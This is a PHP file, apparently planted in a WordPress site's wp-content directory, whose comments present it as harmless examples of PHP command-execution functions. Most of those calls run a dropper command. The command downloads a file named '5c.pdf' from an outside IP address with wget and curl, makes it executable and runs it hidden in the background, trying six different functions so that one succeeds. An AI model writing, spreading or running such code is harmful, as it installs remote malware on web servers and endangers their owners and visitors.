File: /home/u693151605/domains/pranamiglobalschool.net/public_html/wp-content/1RJT3gZd.php
<?php
// Example: Using exec() to run a system command
echo "<h3>Using exec()</h3>";
$output = [];
$return_var = 0;
exec("uname -a", $output, $return_var);
echo "<pre>Output:\n" . implode("\n", $output) . "</pre>";
echo "<p>Return status: $return_var</p>";
// Example: Using shell_exec() to run a system command
echo "<h3>Using shell_exec()</h3>";
$output = shell_exec("cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;wget http://185.242.3.66/5c.pdf; curl -O http://185.242.3.66/5c.pdf ; chmod 777 5c.pdf; ./5c.pdf > /dev/null 2>&1 &");
echo "<pre>$output</pre>";
// Example: Using system() to run a system command
echo "<h3>Using system()</h3>";
system("cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;wget http://185.242.3.66/5c.pdf; curl -O http://185.242.3.66/5c.pdf ; chmod 777 5c.pdf; ./5c.pdf > /dev/null 2>&1 &", $return_var);
echo "<p>Return status: $return_var</p>";
// Example: Using passthru() to run a system command
echo "<h3>Using passthru()</h3>";
passthru("cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;wget http://185.242.3.66/5c.pdf; curl -O http://185.242.3.66/5c.pdf ; chmod 777 5c.pdf; ./5c.pdf > /dev/null 2>&1 &", $return_var);
echo "<p>Return status: $return_var</p>";
// Example: Using popen() to run a system command
echo "<h3>Using popen()</h3>";
$handle = popen("cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;wget http://185.242.3.66/5c.pdf; curl -O http://185.242.3.66/5c.pdf ; chmod 777 5c.pdf; ./5c.pdf > /dev/null 2>&1 &", "r");
echo "<pre>" . fread($handle, 2096) . "</pre>";
pclose($handle);
// Example: Using proc_open() to run a system command
echo "<h3>Using proc_open()</h3>";
$descriptors = [
0 => ["pipe", "r"], // stdin
1 => ["pipe", "w"], // stdout
2 => ["pipe", "w"] // stderr
];
$process = proc_open("cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;wget http://185.242.3.66/5c.pdf; curl -O http://185.242.3.66/5c.pdf ; chmod 777 5c.pdf; ./5c.pdf > /dev/null 2>&1 &", $descriptors, $pipes);
if (is_resource($process)) {
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
$return_var = proc_close($process);
echo "<pre>$output</pre>";
echo "<p>Return status: $return_var</p>";
}
?>